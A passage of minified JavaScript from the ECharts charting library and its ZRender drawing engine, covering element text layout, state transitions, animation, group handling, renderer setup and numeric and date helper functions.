i=gi(hi(e),t),o=xi(e),a=mi(0,i,n),s=_i(0,o,r);return new Be(a,s,i,o)}function yi(t,e,n,r){var i=((t||"")+"").split("\n");if(1===i.length)return vi(i[0],e,n,r);for(var o=new Be(0,0,0,0),a=0;a<i.length;a++){var s=vi(i[a],e,n,r);0===a?o.copy(s):o.union(s)}return o}function mi(t,e,n,r){return"right"===n?r?t+=e:t-=e:"center"===n&&(r?t+=e/2:t-=e/2),t}function _i(t,e,n,r){return"middle"===n?r?t+=e/2:t-=e/2:"bottom"===n&&(r?t+=e:t-=e),t}function xi(t){return hi(t).stWideCharWidth}function bi(t,e){return"string"==typeof t?t.lastIndexOf("%")>=0?parseFloat(t)/100*e:parseFloat(t):t}function wi(t,e,n){var r=e.position||"inside",i=null!=e.distance?e.distance:5,o=n.height,a=n.width,s=o/2,l=n.x,u=n.y,c="left",h="top";if(r instanceof Array)l+=bi(r[0],n.width),u+=bi(r[1],n.height),c=null,h=null;else switch(r){case"left":l-=i,u+=s,c="right",h="middle";break;case"right":l+=i+a,u+=s,h="middle";break;case"top":l+=a/2,u-=i,c="center",h="bottom";break;case"bottom":l+=a/2,u+=o+i,c="center";break;case"inside":l+=a/2,u+=s,c="center",h="middle";break;case"insideLeft":l+=i,u+=s,h="middle";break;case"insideRight":l+=a-i,u+=s,c="right",h="middle";break;case"insideTop":l+=a/2,u+=i,c="center";break;case"insideBottom":l+=a/2,u+=o-i,c="center",h="bottom";break;case"insideTopLeft":l+=i,u+=i;break;case"insideTopRight":l+=a-i,u+=i,c="right";break;case"insideBottomLeft":l+=i,u+=o-i,h="bottom";break;case"insideBottomRight":l+=a-i,u+=o-i,c="right",h="bottom"}return(t=t||{}).x=l,t.y=u,t.align=c,t.verticalAlign=h,t}var Si="__zr_normal__",Mi=ui.concat(["ignore"]),Ti=z(ui,function(t,e){return t[e]=!0,t},{ignore:!1}),ki={},Ci=new Be(0,0,0,0),Ii=[],Di=function(){function t(t){this.id=M(),this.animators=[],this.currentStates=[],this.states={},this._init(t)}return t.prototype._init=function(t){this.attr(t)},t.prototype.drift=function(t,e,n){switch(this.draggable){case"horizontal":e=0;break;case"vertical":t=0}var r=this.transform;r||(r=this.transform=[1,0,0,1,0,0]),r[4]+=t,r[5]+=e,this.decomposeTransform(),this.markRedraw()},t.prototype.beforeUpdate=function(){},t.prototype.afterUpdate=function(){},t.prototype.update=function(){this.updateTransform(),this.__dirty&&this.updateInnerText()},t.prototype.updateInnerText=function(t){var e=this._textContent;if(e&&(!e.ignore||t)){this.textConfig||(this.textConfig={});var n=this.textConfig,r=n.local,i=e.innerTransformable,o=void 0,a=void 0,s=!1;i.parent=r?this:null;var l=!1;i.copyTransform(e);var u=null!=n.position,c=n.autoOverflowArea,h=void 0;if((c||u)&&(h=Ci,n.layoutRect?h.copy(n.layoutRect):h.copy(this.getBoundingRect()),r||h.applyTransform(this.transform)),u){this.calculateTextPosition?this.calculateTextPosition(ki,n,h):wi(ki,n,h),i.x=ki.x,i.y=ki.y,o=ki.align,a=ki.verticalAlign;var f=n.origin;if(f&&null!=n.rotation){var p=void 0,d=void 0;"center"===f?(p=.5*h.width,d=.5*h.height):(p=bi(f[0],h.width),d=bi(f[1],h.height)),l=!0,i.originX=-i.x+p+(r?0:h.x),i.originY=-i.y+d+(r?0:h.y)}}null!=n.rotation&&(i.rotation=n.rotation);var g=n.offset;g&&(i.x+=g[0],i.y+=g[1],l||(i.originX=-g[0],i.originY=-g[1]));var v=this._innerTextDefaultStyle||(this._innerTextDefaultStyle={});if(c){var y=v.overflowRect=v.overflowRect||new Be(0,0,0,0);i.getLocalTransform(Ii),be(Ii,Ii),Be.copy(y,h),y.applyTransform(Ii)}else v.overflowRect=null;var m=void 0,_=void 0,x=void 0;(null==n.inside?"string"==typeof n.position&&n.position.indexOf("inside")>=0:n.inside)&&this.canBeInsideText()?(m=n.insideFill,_=n.insideStroke,null!=m&&"auto"!==m||(m=this.getInsideTextFill()),null!=_&&"auto"!==_||(_=this.getInsideTextStroke(m),x=!0)):(m=n.outsideFill,_=n.outsideStroke,null!=m&&"auto"!==m||(m=this.getOutsideFill()),null!=_&&"auto"!==_||(_=this.getOutsideStroke(m),x=!0)),(m=m||"#000")===v.fill&&_===v.stroke&&x===v.autoStroke&&o===v.align&&a===v.verticalAlign||(s=!0,v.fill=m,v.stroke=_,v.autoStroke=x,v.align=o,v.verticalAlign=a,e.setDefaultTextStyle(v)),e.__dirty|=1,s&&e.dirtyStyle(!0)}},t.prototype.canBeInsideText=function(){return!0},t.prototype.getInsideTextFill=function(){return"#fff"},t.prototype.getInsideTextStroke=function(t){return"#000"},t.prototype.getOutsideFill=function(){return this.__zr&&this.__zr.isDarkMode()?Qr:$r},t.prototype.getOutsideStroke=function(t){var e=this.__zr&&this.__zr.getBackgroundColor(),n="string"==typeof e&&er(e);n||(n=[255,255,255,1]);for(var r=n[3],i=this.__zr.isDarkMode(),o=0;o<3;o++)n[o]=n[o]*r+(i?0:255)*(1-r);return n[3]=1,ur(n,"rgba")},t.prototype.traverse=function(t,e){},t.prototype.attrKV=function(t,e){"textConfig"===t?this.setTextConfig(e):"textContent"===t?this.setTextContent(e):"clipPath"===t?this.setClipPath(e):"extra"===t?(this.extra=this.extra||{},I(this.extra,e)):this[t]=e},t.prototype.hide=function(){this.ignore=!0,this.markRedraw()},t.prototype.show=function(){this.ignore=!1,this.markRedraw()},t.prototype.attr=function(t,e){if("string"==typeof t)this.attrKV(t,e);else if(j(t))for(var n=H(t),r=0;r<n.length;r++){var i=n[r];this.attrKV(i,t[i])}return this.markRedraw(),this},t.prototype.saveCurrentToNormalState=function(t){this._innerSaveToNormal(t);for(var e=this._normalState,n=0;n<this.animators.length;n++){var r=this.animators[n],i=r.__fromStateTransition;if(!(r.getLoop()||i&&i!==Si)){var o=r.targetName,a=o?e[o]:e;r.saveTo(a)}}},t.prototype._innerSaveToNormal=function(t){var e=this._normalState;e||(e=this._normalState={}),t.textConfig&&!e.textConfig&&(e.textConfig=this.textConfig),this._savePrimaryToNormal(t,e,Mi)},t.prototype._savePrimaryToNormal=function(t,e,n){for(var r=0;r<n.length;r++){var i=n[r];null==t[i]||i in e||(e[i]=this[i])}},t.prototype.hasState=function(){return this.currentStates.length>0},t.prototype.getState=function(t){return this.states[t]},t.prototype.ensureState=function(t){var e=this.states;return e[t]||(e[t]={}),e[t]},t.prototype.clearStates=function(t){this.useState(Si,!1,t)},t.prototype.useState=function(t,e,n,r){var i=t===Si;if(this.hasState()||!i){var o=this.currentStates,a=this.stateTransition;if(!(P(o,t)>=0)||!e&&1!==o.length){var s;if(this.stateProxy&&!i&&(s=this.stateProxy(t)),s||(s=this.states&&this.states[t]),s||i){i||this.saveCurrentToNormalState(s);var l=this._textContent,u=Ri(this,l,s,r);u&&!this.__inHover&&(this.__inHover=u),this._applyStateObj(t,s,this._normalState,e,Ei(this,n,a),a);var c=this._textGuide;return l&&l.useState(t,e,n,!!u),c&&c.useState(t,e,n,!!u),i?(this.currentStates=[],this._normalState={}):e?this.currentStates.push(t):this.currentStates=[t],this._updateAnimationTargets(),this.markRedraw(),!u&&this.__inHover&&(this.__inHover=0,this.__dirty&=-2),s}T("State "+t+" not exists.")}}},t.prototype.useStates=function(t,e,n){if(t.length){var r=[],i=this.currentStates,o=t.length,a=o===i.length;if(a)for(var s=0;s<o;s++)if(t[s]!==i[s]){a=!1;break}if(a)return;for(s=0;s<o;s++){var l=t[s],u=void 0;this.stateProxy&&(u=this.stateProxy(l,t)),u||(u=this.states[l]),u&&r.push(u)}var c=r[o-1],h=this._textContent,f=Ri(this,h,c,n);f&&!this.__inHover&&(this.__inHover=f);var p=this._mergeStates(r),d=this.stateTransition;this.saveCurrentToNormalState(p),this._applyStateObj(t.join(","),p,this._normalState,!1,Ei(this,e,d),d);var g=this._textGuide;h&&h.useStates(t,e,!!f),g&&g.useStates(t,e,!!f),this._updateAnimationTargets(),this.currentStates=t.slice(),this.markRedraw(),!f&&this.__inHover&&(this.__inHover=0,this.__dirty&=-2)}else this.clearStates()},t.prototype.isSilent=function(){for(var t=this;t;){if(t.silent)return!0;var e=t.__hostTarget;t=e?t.ignoreHostSilent?null:e:t.parent}return!1},t.prototype._updateAnimationTargets=function(){for(var t=0;t<this.animators.length;t++){var e=this.animators[t];e.targetName&&e.changeTarget(this[e.targetName])}},t.prototype.removeState=function(t){var e=P(this.currentStates,t);if(e>=0){var n=this.currentStates.slice();n.splice(e,1),this.useStates(n)}},t.prototype.replaceState=function(t,e,n){var r=this.currentStates.slice(),i=P(r,t),o=P(r,e)>=0;i>=0?o?r.splice(i,1):r[i]=e:n&&!o&&r.push(e),this.useStates(r)},t.prototype.toggleState=function(t,e){e?this.useState(t,!0):this.removeState(t)},t.prototype._mergeStates=function(t){for(var e,n={},r=0;r<t.length;r++){var i=t[r];I(n,i),i.textConfig&&I(e=e||{},i.textConfig)}return e&&(n.textConfig=e),n},t.prototype._applyStateObj=function(t,e,n,r,i,o){if(1!==this.__inHover){var a=!(e&&r);e&&e.textConfig?(this.textConfig=I({},r?this.textConfig:n.textConfig),I(this.textConfig,e.textConfig)):a&&n.textConfig&&(this.textConfig=n.textConfig);for(var s={},l=!1,u=0;u<Mi.length;u++){var c=Mi[u],h=i&&Ti[c];e&&null!=e[c]?h?(l=!0,s[c]=e[c]):this[c]=e[c]:a&&null!=n[c]&&(h?(l=!0,s[c]=n[c]):this[c]=n[c])}if(!i)for(u=0;u<this.animators.length;u++){var f=this.animators[u],p=f.targetName;f.getLoop()||f.__changeFinalValue(p?(e||n)[p]:e||n)}l&&this._transitionState(t,s,o)}},t.prototype._attachComponent=function(t){if((!t.__zr||t.__hostTarget)&&t!==this){var e=this.__zr;e&&t.addSelfToZr(e),t.__zr=e,t.__hostTarget=this}},t.prototype._detachComponent=function(t){t.__zr&&t.removeSelfFromZr(t.__zr),t.__zr=null,t.__hostTarget=null},t.prototype.getClipPath=function(){return this._clipPath},t.prototype.setClipPath=function(t){this._clipPath&&this._clipPath!==t&&this.removeClipPath(),this._attachComponent(t),this._clipPath=t,this.markRedraw()},t.prototype.removeClipPath=function(){var t=this._clipPath;t&&(this._detachComponent(t),this._clipPath=null,this.markRedraw())},t.prototype.getTextContent=function(){return this._textContent},t.prototype.setTextContent=function(t){var e=this._textContent;e!==t&&(e&&e!==t&&this.removeTextContent(),t.innerTransformable=new si,this._attachComponent(t),this._textContent=t,this.markRedraw())},t.prototype.setTextConfig=function(t){this.textConfig||(this.textConfig={}),I(this.textConfig,t),this.markRedraw()},t.prototype.removeTextConfig=function(){this.textConfig=null,this.markRedraw()},t.prototype.removeTextContent=function(){var t=this._textContent;t&&(t.innerTransformable=null,this._detachComponent(t),this._textContent=null,this._innerTextDefaultStyle=null,this.markRedraw())},t.prototype.getTextGuideLine=function(){return this._textGuide},t.prototype.setTextGuideLine=function(t){this._textGuide&&this._textGuide!==t&&this.removeTextGuideLine(),this._attachComponent(t),this._textGuide=t,this.markRedraw()},t.prototype.removeTextGuideLine=function(){var t=this._textGuide;t&&(this._detachComponent(t),this._textGuide=null,this.markRedraw())},t.prototype.markRedraw=function(){this.__dirty|=1;var t=this.__zr;t&&(this.__inHover?t.refreshHover():t.refresh()),this.__hostTarget&&this.__hostTarget.markRedraw()},t.prototype.dirty=function(){this.markRedraw()},t.prototype.addSelfToZr=function(t){if(this.__zr!==t){this.__zr=t;var e=this.animators;if(e)for(var n=0;n<e.length;n++)t.animation.addAnimator(e[n]);this._clipPath&&this._clipPath.addSelfToZr(t),this._textContent&&this._textContent.addSelfToZr(t),this._textGuide&&this._textGuide.addSelfToZr(t)}},t.prototype.removeSelfFromZr=function(t){if(this.__zr){this.__zr=null;var e=this.animators;if(e)for(var n=0;n<e.length;n++)t.animation.removeAnimator(e[n]);this._clipPath&&this._clipPath.removeSelfFromZr(t),this._textContent&&this._textContent.removeSelfFromZr(t),this._textGuide&&this._textGuide.removeSelfFromZr(t)}},t.prototype.animate=function(t,e,n){var r=t?this[t]:this;var i=new Cr(r,e,n);return t&&(i.targetName=t),this.addAnimator(i,t),i},t.prototype.addAnimator=function(t,e){var n=this.__zr,r=this;t.during(function(){r.updateDuringAnimation(e)}).done(function(){var e=r.animators,n=P(e,t);n>=0&&e.splice(n,1)}),this.animators.push(t),n&&n.animation.addAnimator(t),n&&n.wakeUp()},t.prototype.updateDuringAnimation=function(t){this.markRedraw()},t.prototype.stopAnimation=function(t,e){for(var n=this.animators,r=n.length,i=[],o=0;o<r;o++){var a=n[o];t&&t!==a.scope?i.push(a):a.stop(e)}return this.animators=i,this},t.prototype.animateTo=function(t,e,n){Ai(this,t,e,n)},t.prototype.animateFrom=function(t,e,n){Ai(this,t,e,n,!0)},t.prototype._transitionState=function(t,e,n,r){for(var i=Ai(this,e,n,r),o=0;o<i.length;o++)i[o].__fromStateTransition=t},t.prototype.getBoundingRect=function(){return null},t.prototype.getPaintRect=function(){return null},t.initDefaultProps=function(){var e=t.prototype;e.type="element",e.name="",e.ignore=e.silent=e.ignoreHostSilent=e.isGroup=e.draggable=e.dragging=e.ignoreClip=!1,e.__inHover=0,e.__dirty=1;function n(t,n,r,i){function o(t,e){Object.defineProperty(e,0,{get:function(){return t[r]},set:function(e){t[r]=e}}),Object.defineProperty(e,1,{get:function(){return t[i]},set:function(e){t[i]=e}})}Object.defineProperty(e,t,{get:function(){this[n]||o(this,this[n]=[]);return this[n]},set:function(t){this[r]=t[0],this[i]=t[1],this[n]=t,o(this,t)}})}Object.defineProperty&&(n("position","_legacyPos","x","y"),n("scale","_legacyScale","scaleX","scaleY"),n("origin","_legacyOrigin","originX","originY"))}(),t}();function Ai(t,e,n,r,i){var o=[];Oi(t,"",t,e,n=n||{},r,o,i);var a=o.length,s=!1,l=n.done,u=n.aborted,c=function(){s=!0,--a<=0&&(s?l&&l():u&&u())},h=function(){--a<=0&&(s?l&&l():u&&u())};a||l&&l(),o.length>0&&n.during&&o[0].during(function(t,e){n.during(e)});for(var f=0;f<o.length;f++){var p=o[f];c&&p.done(c),h&&p.aborted(h),n.force&&p.duration(n.duration),p.start(n.easing)}return o}function Li(t,e,n){for(var r=0;r<n;r++)t[r]=e[r]}function Pi(t,e,n){if(N(e[n]))if(N(t[n])||(t[n]=[]),$(e[n])){var r=e[n].length;t[n].length!==r&&(t[n]=new e[n].constructor(r),Li(t[n],e[n],r))}else{var i=e[n],o=t[n],a=i.length;if(N(i[0]))for(var s=i[0].length,l=0;l<a;l++)o[l]?Li(o[l],i[l],s):o[l]=Array.prototype.slice.call(i[l]);else Li(o,i,a);o.length=i.length}else t[n]=e[n]}function Oi(t,e,n,r,i,o,a,s){for(var l=H(r),u=i.duration,c=i.delay,h=i.additive,f=i.setToFinal,p=!j(o),d=t.animators,g=[],v=0;v<l.length;v++){var y=l[v],m=r[y];if(null!=m&&null!=n[y]&&(p||o[y]))if(!j(m)||N(m)||J(m))g.push(y);else{if(e){s||(n[y]=m,t.updateDuringAnimation(e));continue}Oi(t,y,n[y],m,i,o&&o[y],a,s)}else s||(n[y]=m,t.updateDuringAnimation(e),g.push(y))}var _=g.length;if(!h&&_)for(var x=0;x<d.length;x++){if((w=d[x]).targetName===e)if(w.stopTracks(g)){var b=P(d,w);d.splice(b,1)}}if(i.force||(g=F(g,function(t){return e=r[t],i=n[t],!(e===i||N(e)&&N(i)&&function(t,e){var n=t.length;if(n!==e.length)return!1;for(var r=0;r<n;r++)if(t[r]!==e[r])return!1;return!0}(e,i));var e,i}),_=g.length),_>0||i.force&&!a.length){var w,S=void 0,M=void 0,T=void 0;if(s){M={},f&&(S={});for(x=0;x<_;x++){M[y=g[x]]=n[y],f?S[y]=r[y]:n[y]=r[y]}}else if(f){T={};for(x=0;x<_;x++){T[y=g[x]]=br(n[y]),Pi(n,r,y)}}(w=new Cr(n,!1,!1,h?F(d,function(t){return t.targetName===e}):null)).targetName=e,i.scope&&(w.scope=i.scope),f&&S&&w.whenWithKeys(0,S,g),T&&w.whenWithKeys(0,T,g),w.whenWithKeys(null==u?500:u,s?M:r,g).delay(c||0),t.addAnimator(w,e),a.push(w)}}function Ri(t,e,n,r){return!(n&&n.hoverLayer||r)||Ni(t)||e&&Ni(e)?0:1}function Ni(t){return"text"===t.type||"tspan"===t.type}function Ei(t,e,n){return!e&&!t.__inHover&&n&&n.duration>0}R(Di,qt),R(Di,si);var Bi=function(t){function e(e){var n=t.call(this)||this;return n.isGroup=!0,n._children=[],n.attr(e),n}return n(e,t),e.prototype.childrenRef=function(){return this._children},e.prototype.children=function(){return this._children.slice()},e.prototype.childAt=function(t){return this._children[t]},e.prototype.childOfName=function(t){for(var e=this._children,n=0;n<e.length;n++)if(e[n].name===t)return e[n]},e.prototype.childCount=function(){return this._children.length},e.prototype.add=function(t){return t&&t!==this&&t.parent!==this&&(this._children.push(t),this._doAdd(t)),this},e.prototype.addBefore=function(t,e){if(t&&t!==this&&t.parent!==this&&e&&e.parent===this){var n=this._children,r=n.indexOf(e);r>=0&&(n.splice(r,0,t),this._doAdd(t))}return this},e.prototype.replace=function(t,e){var n=P(this._children,t);return n>=0&&this.replaceAt(e,n),this},e.prototype.replaceAt=function(t,e){var n=this._children,r=n[e];if(t&&t!==this&&t.parent!==this&&t!==r){n[e]=t,r.parent=null;var i=this.__zr;i&&r.removeSelfFromZr(i),this._doAdd(t)}return this},e.prototype._doAdd=function(t){t.parent&&t.parent.remove(t),t.parent=this;var e=this.__zr;e&&e!==t.__zr&&t.addSelfToZr(e),e&&e.refresh()},e.prototype.remove=function(t){var e=this.__zr,n=this._children,r=P(n,t);return r<0||(n.splice(r,1),t.parent=null,e&&t.removeSelfFromZr(e),e&&e.refresh()),this},e.prototype.removeAll=function(){for(var t=this._children,e=this.__zr,n=0;n<t.length;n++){var r=t[n];e&&r.removeSelfFromZr(e),r.parent=null}return t.length=0,this},e.prototype.eachChild=function(t,e){for(var n=this._children,r=0;r<n.length;r++){var i=n[r];t.call(e,i,r)}return this},e.prototype.traverse=function(t,e){for(var n=0;n<this._children.length;n++){var r=this._children[n],i=t.call(e,r);r.isGroup&&!i&&r.traverse(t,e)}return this},e.prototype.addSelfToZr=function(e){t.prototype.addSelfToZr.call(this,e);for(var n=0;n<this._children.length;n++){this._children[n].addSelfToZr(e)}},e.prototype.removeSelfFromZr=function(e){t.prototype.removeSelfFromZr.call(this,e);for(var n=0;n<this._children.length;n++){this._children[n].removeSelfFromZr(e)}},e.prototype.getBoundingRect=function(t){for(var e=new Be(0,0,0,0),n=t||this._children,r=[],i=null,o=0;o<n.length;o++){var a=n[o];if(!a.ignore&&!a.invisible){var s=a.getBoundingRect(),l=a.getLocalTransform(r);l?(Be.applyTransform(e,s,l),(i=i||e.clone()).union(e)):(i=i||s.clone()).union(s)}}return i||e},e}(Di);Bi.prototype.type="group";
/*!
* ZRender, a high performance 2d drawing library.
*
* Copyright (c) 2013, Baidu Inc.
* All rights reserved.
*
* LICENSE
* https://github.com/ecomfe/zrender/blob/master/LICENSE
*/
var zi={},Fi={};var Vi,Hi=function(){function t(t,e,n){var r=this;this._sleepAfterStill=10,this._stillFrameAccum=0,this._needsRefresh=!0,this._needsRefreshHover=!1,this._darkMode=!1,n=n||{},this.dom=e,this.id=t;var o=new fn,a=n.renderer||"canvas";zi[a]||(a=H(zi)[0]),n.useDirtyRect=null!=n.useDirtyRect&&n.useDirtyRect;var s=new zi[a](e,o,n,t),l=n.ssr||s.ssrOnly;this.storage=o,this.painter=s;var u,c=i.node||i.worker||l?null:new Zr(s.getViewportRoot(),s.root),h=n.useCoarsePointer;(null==h||"auto"===h?i.touchEventsSupported:!!h)&&(u=it(n.pointerSize,44)),this.handler=new Qe(o,s,c,s.root,u),this.animation=new Lr({stage:{update:l?null:function(){return r._flush(!1)}}}),l||this.animation.start()}return t.prototype.add=function(t){!this._disposed&&t&&(this.storage.addRoot(t),t.addSelfToZr(this),this.refresh())},t.prototype.remove=function(t){!this._disposed&&t&&(this.storage.delRoot(t),t.removeSelfFromZr(this),this.refresh())},t.prototype.configLayer=function(t,e){this._disposed||(this.painter.configLayer&&this.painter.configLayer(t,e),this.refresh())},t.prototype.setBackgroundColor=function(t){this._disposed||(this.painter.setBackgroundColor&&this.painter.setBackgroundColor(t),this.refresh(),this._backgroundColor=t,this._darkMode=function(t){if(!t)return!1;if("string"==typeof t)return cr(t,1)<.4;if(t.colorStops){for(var e=t.colorStops,n=0,r=e.length,i=0;i<r;i++)n+=cr(e[i].color,1);return(n/=r)<.4}return!1}(t))},t.prototype.getBackgroundColor=function(){return this._backgroundColor},t.prototype.setDarkMode=function(t){this._darkMode=t},t.prototype.isDarkMode=function(){return this._darkMode},t.prototype.refreshImmediately=function(t){this._disposed||this._refresh({animUpdate:!t,refresh:!0,refreshHover:!1})},t.prototype._refresh=function(t){t.animUpdate&&this.animation.update(!0),this._needsRefresh=this._needsRefreshHover=!1,this.painter.refresh({refresh:t.refresh,refreshHover:t.refreshHover}),this._needsRefresh=this._needsRefreshHover=!1},t.prototype.refresh=function(){this._disposed||(this._needsRefresh=!0,this.animation.start())},t.prototype.flush=function(){this._disposed||this._flush(!0)},t.prototype._flush=function(t){var e,n=Ir(),r=this._needsRefresh,i=this._needsRefreshHover;(r||i)&&(e=!0,this._refresh({animUpdate:t,refresh:r,refreshHover:i}));var o=Ir();e?(this._stillFrameAccum=0,this.trigger("rendered",{elapsedTime:o-n})):this._sleepAfterStill>0&&(this._stillFrameAccum++,this._stillFrameAccum>this._sleepAfterStill&&this.animation.stop())},t.prototype.setSleepAfterStill=function(t){this._sleepAfterStill=t},t.prototype.wakeUp=function(){this._disposed||(this.animation.start(),this._stillFrameAccum=0)},t.prototype.refreshHover=function(){this._needsRefreshHover=!0},t.prototype.refreshHoverImmediately=function(){this._disposed||this._refresh({animUpdate:!1,refresh:!1,refreshHover:!0})},t.prototype.resize=function(t){this._disposed||(t=t||{},this.painter.resize(t.width,t.height),this.handler.resize())},t.prototype.clearAnimation=function(){this._disposed||this.animation.clear()},t.prototype.getWidth=function(){if(!this._disposed)return this.painter.getWidth()},t.prototype.getHeight=function(){if(!this._disposed)return this.painter.getHeight()},t.prototype.setCursorStyle=function(t){this._disposed||this.handler.setCursorStyle(t)},t.prototype.findHover=function(t,e){if(!this._disposed)return this.handler.findHover(t,e)},t.prototype.on=function(t,e,n){return this._disposed||this.handler.on(t,e,n),this},t.prototype.off=function(t,e){this._disposed||this.handler.off(t,e)},t.prototype.trigger=function(t,e){this._disposed||this.handler.trigger(t,e)},t.prototype.clear=function(){if(!this._disposed){for(var t=this.storage.getRoots(),e=0;e<t.length;e++)t[e]instanceof Bi&&t[e].removeSelfFromZr(this);this.storage.delAllRoots(),this.painter.clear()}},t.prototype.dispose=function(){var t;this._disposed||(this.animation.stop(),this.clear(),this.storage.dispose(),this.painter.dispose(),this.handler.dispose(),this.animation=this.storage=this.painter=this.handler=null,this._disposed=!0,t=this.id,delete Fi[t])},t}();function Wi(t,e){var n=new Hi(M(),t,e);return Fi[n.id]=n,n}function Gi(t,e){zi[t]=e}function Ui(t){Vi=t}var Xi=Object.freeze({__proto__:null,init:Wi,dispose:function(t){t.dispose()},disposeAll:function(){for(var t in Fi)Fi.hasOwnProperty(t)&&Fi[t].dispose();Fi={}},getInstance:function(t){return Fi[t]},registerPainter:Gi,getElementSSRData:function(t){if("function"==typeof Vi)return Vi(t)},registerSSRDataGetter:Ui,version:"6.1.0"}),Yi=1e-4;var qi=Math.min,Zi=Math.max,ji=Math.abs,Ki=Math.round,$i=Math.floor,Qi=Math.ceil,Ji=Math.pow,to=Math.log,eo=Math.LN10,no=Math.PI,ro=Math.random;function io(t,e,n,r){var i=e[0],o=e[1],a=n[0],s=n[1],l=o-i,u=s-a;if(0===l)return 0===u?a:(a+s)/2;if(r)if(l>0){if(t<=i)return a;if(t>=o)return s}else{if(t>=i)return a;if(t<=o)return s}else{if(t===i)return a;if(t===o)return s}return(t-i)/l*u+a}var oo=function(t,e,n){switch(t){case"center":case"middle":t="50%";break;case"left":case"top":t="0%";break;case"right":case"bottom":t="100%"}return ao(t,e,n)};function ao(t,e,n){return Y(t)?function(t){return!!(e=t,e.replace(/^\s+|\s+$/g,"")).match(/%$/);var e}(t)?parseFloat(t)/100*e+(n||0):parseFloat(t):null==t?NaN:+t}function so(t,e,n){return isNaN(e)?n?""+t:+t:(e=qi(Zi(0,e),20),t=(+t).toFixed(e),n?t:+t)}function lo(t){return t.sort(function(t,e){return t-e}),t}function uo(t){if(t=+t,isNaN(t))return 0;if(t>1e-14)for(var e=1,n=0;n<15;n++,e*=10)if(Ki(t*e)/e===t)return n;return co(t)}function co(t){var e=t.toString().toLowerCase(),n=e.indexOf("e"),r=n>0?+e.slice(n+1):0,i=n>0?n:e.length,o=e.indexOf(".");return Zi(0,(o<0?0:i-1-o)-r)}function ho(t,e){var n=z(t,function(t,e){return t+(isNaN(e)?0:e)},0);if(0===n)return[];for(var r=Ji(10,e),i=B(t,function(t){return(isNaN(t)?0:t)/n*r*100}),o=100*r,a=B(i,function(t){return $i(t)}),s=z(a,function(t,e){return t+e},0),l=B(i,function(t,e){return t-a[e]});s<o;){for(var u=Number.NEGATIVE_INFINITY,c=null,h=0,f=l.length;h<f;++h)l[h]>u&&(u=l[h],c=h);++a[c],l[c]=0,++s}return B(a,function(t){return t/r})}function fo(t,e){var n=Zi(uo(t),uo(e)),r=t+e;return n>20?r:so(r,n)}var po=Ji(2,53)-1;function go(t){var e=2*no;return(t%e+e)%e}function vo(t){return t>-1e-4&&t<Yi}var yo=/^(?:(\d{4})(?:[-\/](\d{1,2})(?:[-\/](\d{1,2})(?:[T ](\d{1,2})(?::(\d{1,2})(?::(\d{1,2})(?:[.,](\d+))?)?)?(Z|[\+\-]\d\d:?\d\d)?)?)?)?)?$/;function mo(t){if(t instanceof Date)return t;if(Y(t)){var e=yo.exec(t);if(!e)return new Date(NaN);if(e[8]){var n=+e[4]||0;return"Z"!==e[8].toUpperCase()&&(n-=+e[8].slice(0,3)),new Date(Date.UTC(+e[1],+(e[2]||1)-1,+e[3]||1,n,+(e[5]||0),+e[6]||0,e[7]?+e[7].substring(0,3):0))}return new Date(+e[1],+(e[2]||1)-1,+e[3]||1,+e[4]||0,+(e[5]||0),+e[6]||0,e[7]?+e[7].substring(0,3):0)}return null==t?new Date(NaN):new Date(Ki(t))}function _o(t){return Ji(10,xo(t))}function xo(t){if(0===t)return 0;var e=$i(to(t)/eo);return t/Ji(10,e)>=10&&e++,e}function bo(t,e){var n=xo(t),r=Ji(10,n),i=t/r;return so(t=(2===e?1:e?i<1.5?1:i<2.5?2:i<4?3:i<7?5:10:i<1?1:i<2?2:i<3?3:i<5?5:10)*r,-n)}function wo(t){var e=parseFloat(t);return e==t&&(0!==e||!Y(t)||t.indexOf("x")<=0)?e:NaN}function So(t){return!isNaN(wo(t))}function Mo(){return Ki(9*ro())}function To(t,e){return 0===e?t:To(e,t%e)}function ko(t,e){return null==t?e:null==e?t:t*e/To(t,e)}function Co(t){return null!=t&&isFinite(t)}var Io={},Do="undefined"!=typeof console&&console.warn&&console.log;function Ao(t,e,n){if(Do){if(n){if(Io[e])return;Io[e]=!0}console[t]("[ECharts] "+e)}}function Lo(t,e){Ao("error",t,e)}function Po(t){0}function Oo(t){throw new Error(t)}function Ro(t,e,n){return(e-t)*n+t}var No="series\0";function Eo(t){return t instanceof Array?t:null==t?[]:[t]}function Bo(t,e,n){if(t){t[e]=t[e]||{},t.emphasis=t.emphasis||{},t.emphasis[e]=t.emphasis[e]||{};for(var r=0,i=n.length;r<i;r++){var o=n[r];!t.emphasis[e].hasOwnProperty(o)&&t[e].hasOwnProperty(o)&&(t.emphasis[e][o]=t[e][o])}}}var zo=["fontStyle","fontWeight","fontSize","fontFamily","rich","tag","color","textBorderColor","textBorderWidth","width","height","lineHeight","align","verticalAlign","baseline","shadowColor","shadowBlur","shadowOffsetX","shadowOffsetY","textShadowColor","textShadowBlur","textShadowOffsetX","textShadowOffsetY","backgroundColor","borderColor","borderWidth","borderRadius","padding"];function Fo(t){return!j(t)||U(t)||t instanceof Date?t:t.value}function Vo(t){return j(t)&&!(t instanceof Array)}function Ho(t,e,n){var r="normalMerge"===n,i="replaceMerge"===n,o="replaceAll"===n;t=t||[],e=(e||[]).slice();var a=vt();E(e,function(t,n){j(t)||(e[n]=null)});var s,l,u=function(t,e,n){var r=[];if("replaceAll"===n)return r;for(var i=0;i<t.length;i++){var o=t[i];o&&null!=o.id&&e.set(o.id,i),r.push({existing:"replaceMerge"===n||Yo(o)?null:o,newOption:null,keyInfo:null,brandNew:null})}return r}(t,a,n);return(r||i)&&function(t,e,n,r){E(r,function(i,o){if(i&&null!=i.id){var a=Go(i.id),s=n.get(a);if(null!=s){var l=t[s];lt(!l.newOption,'Duplicated option on id "'+a+'".'),l.newOption=i,l.existing=e[s],r[o]=null}}})}(u,t,a,e),r&&function(t,e){E(e,function(n,r){if(n&&null!=n.name)for(var i=0;i<t.length;i++){var o=t[i].existing;if(!t[i].newOption&&o&&(null==o.id||null==n.id)&&!Yo(n)&&!Yo(o)&&Wo("name",o,n))return t[i].newOption=n,void(e[r]=null)}})}(u,e),r||i?function(t,e,n){E(e,function(e){if(e){for(var r,i=0;(r=t[i])&&(r.newOption||Yo(r.existing)||r.existing&&null!=e.id&&!Wo("id",e,r.existing));)i++;r?(r.newOption=e,r.brandNew=n):t.push({newOption:e,brandNew:n,existing:null,keyInfo:null}),i++}})}(u,e,i):o&&function(t,e){E(e,function(e){t.push({newOption:e,brandNew:!0,existing:null,keyInfo:null})})}(u,e),s=u,l=vt(),E(s,function(t){var e=t.existing;e&&l.set(e.id,t)}),E(s,function(t){var 